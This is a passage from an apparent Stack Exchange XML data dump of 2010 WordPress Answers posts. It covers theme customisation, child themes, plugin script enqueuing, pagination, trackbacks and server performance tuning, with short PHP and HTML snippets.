  <row Id="183" PostTypeId="1" AcceptedAnswerId="623" CreationDate="2010-08-12T05:40:04.230" Score="1" ViewCount="114" Body="&lt;p&gt;I'm using SEO Ultimate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 404 monitor module is reporting several 404 errors. The errors are reported for urls that do not exist; 3 of them did exist as drafts but were never published. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my xml sitemap, but no luck there. Additionally, the link checker is not showing any broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone experienced with SEO Ultimate who can point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditorDisplayName="" LastEditDate="2010-08-12T06:06:23.273" LastActivityDate="2010-08-20T03:14:30.500" Title="An issue with SEO Ultimate" Tags="&lt;plugins&gt;&lt;404-error&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="184" PostTypeId="2" ParentId="158" CreationDate="2010-08-12T05:48:25.417" Score="2" ViewCount="" Body="&lt;p&gt;@Mike Lee: Great question, and one of the holy grails of WordPress (or any of the mainstream open-source CMSes that I'm familiar with for that matter such as Drupal, Joomla, et. al.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's certainly not meant to address your use-case do check out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/how-can-i-easily-move-wp-from-development-to-production#answer-182&quot;&gt;my answer to a related question&lt;/a&gt; which describes a beta-level plugin I just made available via WordPress Answers Exchange called &lt;em&gt;WP Migrate Webhosts&lt;/em&gt; (yes, I suck when it comes to creative naming.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also want to solve the use-case you describe with a plugin and am currently thinking about how to accomplish that.  I'm thinking the way to approach it is give up on solving it generically and instead address the known patterns that exist in WordPress and then allow anyone else to &quot;&lt;em&gt;hook&lt;/em&gt;&quot; my plugin for special use-cases. I'm also thinking an approach is to serialize the data and structures in WordPress as data in a PHP file so that a future plugin could apply those changes as deltas just like a source code control system applies deltas to arrive at the current version of source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while I'm not answering or solving your problem in full I hope I'm giving you some good food for thought and also hoping that you or someone else might want to collaborate on an eventual solution.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T05:48:25.417" CommentCount="2" />
  <row Id="185" PostTypeId="2" ParentId="174" CreationDate="2010-08-12T06:18:12.050" Score="5" ViewCount="" Body="&lt;p&gt;You should add the following code in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter ( 'post_class' , 'my_post_class' );&#xA;global $current_class;&#xA;$current_class = 'odd';&#xA;&#xA;function my_post_class ( $classes ) { &#xA;   global $current_class;&#xA;   $classes[] = $current_class;&#xA;&#xA;   $current_class = ($current_class == 'odd') ? 'even' : 'odd';&#xA;&#xA;   return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ensures that all the odd posts on the page will have the class 'odd' and all the even posts will have the class 'even' just by using &lt;code&gt;post_class()&lt;/code&gt; in your theme.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-12T06:18:12.050" />
  <row Id="186" PostTypeId="1" AcceptedAnswerId="188" CreationDate="2010-08-12T06:25:41.643" Score="4" ViewCount="191" Body="&lt;p&gt;Twice now I've updated wordpress, only to realise that (facepalm) it overwrites some changes I've made to the custom template - to sidebar or something similar.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I don't HAVE to update, but it's better to for add-ons etc, and I like having the latest products and bug fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are other people's strategies for straightforward updates to wordpress without losing custom modifications to the default template?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T00:37:34.200" LastActivityDate="2010-09-29T15:28:00.980" Title="Updating WordPress overwriting customization tweaks - strategies?" Tags="&lt;3.0&gt;&lt;template&gt;&lt;modifications&gt;" AnswerCount="5" FavoriteCount="3" />
  <row Id="187" PostTypeId="2" ParentId="128" CreationDate="2010-08-12T06:30:36.267" Score="50" ViewCount="" Body="&lt;p&gt;The &lt;strong&gt;killer feature&lt;/strong&gt; that caused WordPress 3.0 to cross over from an extensible blogging tool to the CMS for 8 out of 10 needs is &lt;strong&gt;&lt;em&gt;Custom Post Types&lt;/em&gt;&lt;/strong&gt; (with the addition of Custom Taxonomies from v2.9) with an honorable mention going to the new Menu system in 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to learn WordPress as a CMS then study Custom Post Types. Here's a few articles to get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;Custom post types in WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;Rock-Solid WordPress 3.0 Themes using Custom Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordcastnet.com/blog/2010/06/01/everything-you-need-to-know-about-wordpress-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;Everything You Need to Know About WordPress Custom Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kovshenin.com/archives/custom-post-types-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Types in WordPress 3.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;The WordPress Codex on Custom Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.genuineinteractive.com/post/adding-custom-field-gui-to-custom-post-types-wordpress-3.aspx&quot; rel=&quot;nofollow&quot;&gt;Adding Custom Field GUI to Custom Post Types in WordPress 3.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpmu.org/explore-the-power-of-custom-post-types-to-maximize-wordpress-as-a-cms/&quot; rel=&quot;nofollow&quot;&gt;Explore the Power of Custom Post Types to Maximize WordPress as a CMS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://somadesign.ca/projects/smarter-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;Smarter Custom Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also several plugins to make Custom Post Types easier in no particular order and albeit all of them are still a long way from being fully mature so Caveat Emptor!:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;WP Easy Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-taxonomies-tools/&quot; rel=&quot;nofollow&quot;&gt;GD Custom Posts And Taxonomies Tools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.strangework.com/wordpress-plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;Simple Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for Themes, that's a different subject. While blog themes all implemented the same use-case pattern, each person's CMS needs are likely to be different because each business is different (a restaurant needs different layouts than a yoga studio than an movie theatre than a fabric store.) At least early on I think you'll be hard-pressed to find the perfect ready-made &quot;&lt;em&gt;off-the-shelf&lt;/em&gt;&quot; theme for your business; best to find one that's generally good and plan on modifying it or get a WordPress designer to build you a custom one. Having them layer on top of themes like the &lt;a href=&quot;http://www.studiopress.com/themes/genesis&quot; rel=&quot;nofollow&quot;&gt;Genesis Framework from StudioPress&lt;/a&gt; can be a good option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best I can suggest is to look for ones that support the WordPress 3.0 menu system and then make your decisions from there. &lt;a href=&quot;http://www.google.com/search?q=commercial+themes+supports+wordpress+3.0+menu+system&quot; rel=&quot;nofollow&quot;&gt;You can google for that&lt;/a&gt; and look for articles like this one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ntt.cc/2010/08/06/22-fresh-and-free-wordpress-3-ready-themes.html&quot; rel=&quot;nofollow&quot;&gt;22+ Fresh and Free WordPress 3.0 Ready Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. If you are asking about streamlining the admin user interface so that the Posts and Pages and other blogging tools take a back seat and your specific CMS content is featured in the admin instead then that's a different subject; can I suggest you ask another question for that one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Here are some screen shots from some projects I'm working on to give you an idea of what can be done:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100816-190625.png&quot; alt=&quot;Example Custom Post Type #1&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100816-191840.png&quot; alt=&quot;Example Custom Post Type #2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-10T23:37:30.593" LastActivityDate="2010-09-10T23:37:30.593" CommentCount="9" />
  <row Id="188" PostTypeId="2" ParentId="186" CreationDate="2010-08-12T06:32:44.237" Score="15" ViewCount="" Body="&lt;p&gt;Very simple : if you use the default template, rename it folder name and css file declaration) and it won't be updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the updates (for instance the Twenty One is often updated), create a &lt;strong&gt;child theme&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Infos here : &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="146" LastEditorDisplayName="" LastEditDate="2010-09-29T15:28:00.980" LastActivityDate="2010-09-29T15:28:00.980" CommentCount="3" />
  <row Id="189" PostTypeId="2" ParentId="186" CreationDate="2010-08-12T06:45:48.500" Score="0" ViewCount="" Body="&lt;p&gt;Even my custom theme gets updates every now and then.  I download it locally first and do a compare using BeyondCompare to see where the changes are, and if I can safely skip the files where my custom changes were made.  If not, I manually update the source files before uploading it to my site.  This is a bit of extra work, but required if you've made custom changes to your theme/site.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2010-08-12T06:45:48.500" />
  <row Id="190" PostTypeId="2" ParentId="53" CreationDate="2010-08-12T07:38:37.770" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://sltaylor.co.uk/blog/control-your-own-wordpress-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://sltaylor.co.uk/blog/control-your-own-wordpress-custom-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this, but I can't comment on whether the approach used is good or not, but it certainly covers what you want to do and more (storing and retrieving data that is not stored as post metadata.)&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2010-08-12T07:38:37.770" />
  <row Id="191" PostTypeId="2" ParentId="137" CreationDate="2010-08-12T08:10:46.943" Score="1" ViewCount="" Body="&lt;p&gt;You can either disable it in your browser or route around the WP source and slap this &lt;code&gt;autocomplete&lt;/code&gt; attribute in the offending box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input autocomplete=&quot;off&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use greasemonkey to modify the page to disable autocomplete in the way mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2010-08-12T08:10:46.943" CommentCount="1" />
  <row Id="192" PostTypeId="1" CreationDate="2010-08-12T09:38:27.700" Score="2" ViewCount="170" Body="&lt;p&gt;I'm using the &quot;FriendFeed Activity&quot; widget to show the latest 7 enties of my friend feed. However, FriendFeed just aggregates my Twitter, Blog (via RSS) and YouTube activities. That are things Twitter couldn't handle at the beginning, but now can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm thinking of removing my FriendFeed and switch completely to Twitter (and a Twitter widget). But the &quot;FriendFeed Activity&quot; widget shows an Icon in front of every post (YouTube symbol, RSS symbol, Twitter symbol) and it displays a thumbnail if there's a YouTube link in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Twitter widget, that has this functionality, too? Maybe even recognizes more / resolves bit.ly Links ...?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-08-16T21:01:47.893" Title="Searching for a better Twitter widget" Tags="&lt;widgets&gt;&lt;twitter&gt;" AnswerCount="2" />
  <row Id="193" PostTypeId="2" ParentId="136" CreationDate="2010-08-12T09:44:49.513" Score="2" ViewCount="" Body="&lt;p&gt;EAMann is correct, you don't have to use the &lt;code&gt;style.css&lt;/code&gt; file for all your CSS.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For versioning the style sheet and other files in your theme you can add this to your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fileVersion($filename)&#xA;{&#xA;    // get the absolute path to the file&#xA;    $pathToFile = TEMPLATEPATH.'/'.$filename;&#xA;    //check if the file exists&#xA;    if (file_exists($pathToFile)) &#xA;    {&#xA;        // return the time the file was last modified&#xA;        echo filemtime($pathToFile);&#xA;    }&#xA;    else&#xA;    {&#xA;        // let them know the file wasn't found&#xA;        echo 'FileNotFound';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then when you make the link to your style sheet you can do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;?v=&amp;lt;?php fileVersion('style.css'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you don't have to manually update the version number, anytime the file is updated on the server the version will automatically change to that UNIX timestamp&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditorDisplayName="" LastEditDate="2010-08-27T15:45:53.607" LastActivityDate="2010-08-27T15:45:53.607" />
  <row Id="194" PostTypeId="1" AcceptedAnswerId="237" CreationDate="2010-08-12T09:46:46.063" Score="3" ViewCount="710" Body="&lt;p&gt;I would like to have a single post on my front page (always the latest), but let normal paging work. So the front page has post 1, the next page should have post 2-11 (1-10 is fine too), then 12-21 or 11-20, and so on. I know I can &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21/show-a-different-number-of-posts-depending-on-context-e-g-homepage-search-ar&quot;&gt;change the number of posts depending on the context&lt;/a&gt;, but setting this to &quot;1&quot; on the homepage means the further pages also show only one post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main problem is that &lt;code&gt;/page/2/&lt;/code&gt; and so on works, but &lt;code&gt;/page/1/&lt;/code&gt; always redirects to the real home page, &lt;code&gt;/&lt;/code&gt;. This means posts 2-10 are always skipped, since page 2 shows 11-20. I &lt;a href=&quot;http://www.monkeyman.be&quot; rel=&quot;nofollow&quot;&gt;currently&lt;/a&gt; solve this by linking to my archive, but this is not ideal when you come to &lt;a href=&quot;http://www.monkeyman.be/2010/page/4/&quot; rel=&quot;nofollow&quot;&gt;the first posts of the year&lt;/a&gt; and there are fewer posts and no obvious way of continuing.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-08-12T18:21:23.860" Title="How to show a single post on the front page but have normal paging?" Tags="&lt;pagination&gt;&lt;homepage&gt;&lt;redirect&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="195" PostTypeId="1" AcceptedAnswerId="201" CreationDate="2010-08-12T10:07:36.333" Score="1" ViewCount="122" Body="&lt;p&gt;My wordpress required me to check some Trackbacks and I checked and accepted them. They are listed in the comment administration and I activated &quot;allow Trackbacks/Pingbacks on this page&quot; on the relevant articles and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they do not appear below the relevant posts and pages. Comments are displayed, but not Trackbacks. Does this maybe result from me using the &quot;SimpleX&quot; Theme? Can I somehow modify it to display them? Or did I just miss a checkbox?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-08-12T11:08:26.717" Title="Why do Trackbacks/Pingbacks not appear below my posts/pages?" Tags="&lt;themes&gt;&lt;pingbacks&gt;" AnswerCount="1" />
  <row Id="196" PostTypeId="2" ParentId="53" CreationDate="2010-08-12T10:09:54.507" Score="3" ViewCount="" Body="&lt;p&gt;I sometimes use Custom fields Template :&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can attribute a type to your field (wysiwyg, list, image...)&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2010-08-12T10:09:54.507" CommentCount="1" />
  <row Id="197" PostTypeId="2" ParentId="186" CreationDate="2010-08-12T10:17:07.853" Score="2" ViewCount="" Body="&lt;p&gt;I do not use the Dashboard updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I install WordPress using Subversion; all my local modifications can be shown with &lt;code&gt;svn diff&lt;/code&gt; and in most cases they are seamlessly merged with the new codebase when I switch to a new release number. The core and many plugins and themes are available through SVN. Not all unfortunately, but that still leaves you with an out: create a repository so that you never lose changes even if you use the automatic updater on a plugin. Obviously some strong VCS skills help here. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-12T10:17:07.853" />
  <row Id="198" PostTypeId="2" ParentId="194" CreationDate="2010-08-12T10:18:05.030" Score="2" ViewCount="" Body="&lt;p&gt;Ok, maybe this is a strange or complicated way to do this, but I had a similar problem (I wanted to display a welcome text and the three newest posts of a specific category on the front page. So I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created a new page called home and put my welcome text on it.&lt;/li&gt;&#xA;&lt;li&gt;Deactivated the default home page and set my custom home page as the start page&lt;/li&gt;&#xA;&lt;li&gt;Created a new (copied and modified an existing) page template&#xA;&lt;ol&gt;&#xA;&lt;li&gt;let it display the page body&lt;/li&gt;&#xA;&lt;li&gt;load three newest posts of category X and display them&lt;/li&gt;&#xA;&lt;li&gt;have a link &quot;more&quot; beneath it that links on /category/category-x/&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;looks like this: &lt;a href=&quot;http://hinek.de&quot; rel=&quot;nofollow&quot;&gt;http://hinek.de&lt;/a&gt; (page is in german, sorry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this could be the way for you and you need more infos or a code sample for the page template, comment and I will edit this post.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-08-12T10:18:05.030" CommentCount="1" />
  <row Id="199" PostTypeId="1" CreationDate="2010-08-12T10:24:18.910" Score="25" ViewCount="1503" Body="&lt;p&gt;Besides installing W3 Total Cache or another caching plugin what steps can I take to make sure that my theme and site run as fast as possible.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T09:28:26.053" LastActivityDate="2011-04-16T02:21:34.347" Title="Steps to Optimize WordPress in Regard to Server Load?" Tags="&lt;performance&gt;&lt;optimization&gt;&lt;cache&gt;&lt;server&gt;" AnswerCount="11" FavoriteCount="27" />
  <row Id="200" PostTypeId="2" ParentId="199" CreationDate="2010-08-12T10:44:18.483" Score="6" ViewCount="" Body="&lt;p&gt;Run &lt;a href=&quot;http://memcached.org/&quot; rel=&quot;nofollow&quot;&gt;memcached&lt;/a&gt; and use an &lt;a href=&quot;http://wordpress.org/extend/plugins/memcached/&quot; rel=&quot;nofollow&quot;&gt;object cache&lt;/a&gt; to reduce the number of database queries. This caches data from the database, rather than pages. Not sure if w3-total-cache already does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are running an opcode cache like &lt;a href=&quot;http://pecl.php.net/package/APC&quot; rel=&quot;nofollow&quot;&gt;APC&lt;/a&gt;. (There are several more available.)&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-12T10:44:18.483" CommentCount="1" />
  <row Id="201" PostTypeId="2" ParentId="195" CreationDate="2010-08-12T11:08:26.717" Score="3" ViewCount="" Body="&lt;p&gt;On what posts did you expect a trackback? SimpleX should support trackbacks, &lt;a href=&quot;http://www.wpshoppe.com/2009/01/25/trackbacks-comments/&quot; rel=&quot;nofollow&quot;&gt;but displays them in a separate box&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-08-12T11:08:26.717" CommentCount="3" />
  <row Id="202" PostTypeId="2" ParentId="199" CreationDate="2010-08-12T12:27:28.240" Score="1" ViewCount="" Body="&lt;p&gt;you could enable global &lt;a href=&quot;http://3dpixel.net/blog/apache-global-output-compression/&quot; rel=&quot;nofollow&quot;&gt;output compression&lt;/a&gt;. this will gzip everything going out automatically if the browser supports it. This drastically reduces the size of files transferred, but does increase your CPU load.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2010-08-12T12:27:28.240" CommentCount="2" />
  <row Id="203" PostTypeId="2" ParentId="175" CreationDate="2010-08-12T12:36:45.273" Score="2" ViewCount="" Body="&lt;p&gt;I think this action gets called by &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2714&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_transition_post_status&lt;/code&gt;&lt;/a&gt;. The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_transition_post_status($new_status, $old_status, $post) {&#xA;    do_action('transition_post_status', $new_status, $old_status, $post);&#xA;    do_action(&quot;${old_status}_to_$new_status&quot;, $post);&#xA;    do_action(&quot;${new_status}_$post-&amp;gt;post_type&quot;, $post-&amp;gt;ID, $post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for normal future posts the last hook will be &lt;code&gt;future_post&lt;/code&gt;, but for your type it will be &lt;code&gt;future_show&lt;/code&gt; or whatever your type slug is.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-08-12T12:36:45.273" />
  <row Id="204" PostTypeId="2" ParentId="13" CreationDate="2010-08-12T12:44:42.073" Score="4" ViewCount="" Body="&lt;p&gt;I'm looking into the same thing. A couple of links that I've found that might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dd32.id.au/projects/wordpressorg-plugin-information-api-docs/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress.org Plugin Information API Docs&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.pastebin.com/7Ji8rD2P&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_api_data() on Pastebin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first is some info and pointers to the upgrades API. The second is a code snippet showing how to actually request info from the API.&lt;/p&gt;&#xA;" OwnerUserId="65" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-21T08:53:21.973" LastActivityDate="2010-10-21T08:53:21.973" CommentCount="1" />
  <row Id="205" PostTypeId="2" ParentId="199" CreationDate="2010-08-12T12:57:30.583" Score="13" ViewCount="" Body="&lt;p&gt;Minimize the number of plugins you run to only what you really need. Especially be aware of plugins that add javascript and CSS code on every page load, even when that code isn't being used on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are creating your own theme from scratch, break your CSS down so that features that are only need for particular page templates or view types (single post, archives, category, etc) are only loaded when needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configure W3TC to use a CDN (like Amazon CloudFront, or any of the others supported by W3TC). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if the Minify options work for you (some plugins generate js/css that won't minify nicely, so be sure to test your site after activating the minify feature).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have full control of your MySQL server, make sure that you have the query_cache turned on. Use a &lt;a href=&quot;http://blog.mysqltuner.com/&quot; rel=&quot;nofollow&quot;&gt;MySQL tuning script&lt;/a&gt; to find other ways to optimize your database config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using a CDN is problematic for some reason, configure mod_expires in your apache setup. Set expiration times as long as reasonable for static types like images, css, javascript, video, audio, etc.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2010-08-12T12:57:30.583" />
  <row Id="206" PostTypeId="1" AcceptedAnswerId="209" CreationDate="2010-08-12T13:50:54.267" Score="2" ViewCount="347" Body="&lt;p&gt;In my plugin, I want to test to see if jQuery or Prototype (or both) are going to be loaded by another plugin. So, have &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script('jquery')&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;wp_enqueue_script('prototype')&lt;/code&gt; has already been called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have code appropriate to my plugin in files &lt;code&gt;plugin.prototype.js&lt;/code&gt; and &lt;code&gt;plugin.jquery.js&lt;/code&gt; and if Prototype is queued, my plugin will use &lt;code&gt;plugin.prototype.js&lt;/code&gt;. This way I avoid loading more than necessary into the site. If neither has loaded, I will queue up whichever is smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I test to see what has been queued up? How do I make sure my code runs last?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-12T14:42:20.540" Title="Test to see if jQuery or Prototype is queued by another plugin?" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="207" PostTypeId="1" AcceptedAnswerId="221" CreationDate="2010-08-12T14:03:55.907" Score="3" ViewCount="469" Body="&lt;p&gt;I have a client who wants to put on an event. She wants to manage it on her site. The requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Display information about the event&lt;/li&gt;&#xA;&lt;li&gt;Sell tickets and correlate with name and email address&lt;/li&gt;&#xA;&lt;li&gt;Payment for tickets via PayPal&lt;/li&gt;&#xA;&lt;li&gt;Allows for cancellations / returns if they happen&lt;/li&gt;&#xA;&lt;li&gt;It may be a recurring event, so allow people to sign up for future events&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anything like that exist?&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-13T18:57:06.920" LastActivityDate="2010-08-24T13:11:16.403" Title="Plugin for event management?" Tags="&lt;plugin-recommendation&gt;&lt;events&gt;&lt;paypal&gt;" AnswerCount="5" FavoriteCount="2" />
  <row Id="208" PostTypeId="2" ParentId="206" CreationDate="2010-08-12T14:05:03.233" Score="2" ViewCount="" Body="&lt;p&gt;To make sure your code runs after jQuery or Prototype is loaded, use the &lt;code&gt;$deps&lt;/code&gt; parameter to &lt;code&gt;wp_enqueue_script&lt;/code&gt;, and pass either &lt;code&gt;array('jquery')&lt;/code&gt; or &lt;code&gt;array('prototype')&lt;/code&gt;. If you want to know whether a script is in the queue, you can use &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/class.wp-dependencies.php#L184&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;query()&lt;/code&gt; method of &lt;code&gt;WP_Dependencies&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/class.wp-scripts.php#L19&quot; rel=&quot;nofollow&quot;&gt;which is the superclass of &lt;code&gt;WP_Scripts&lt;/code&gt;&lt;/a&gt;). So something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_scripts;&#xA;$jQueryIsLoaded = (bool) $wp_scripts-&amp;gt;query('jquery');&#xA;$prototypeIsLoaded = (bool) $wp_scripts-&amp;gt;query('prototype');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, plugins could enqueue them after you decided on one, so try to 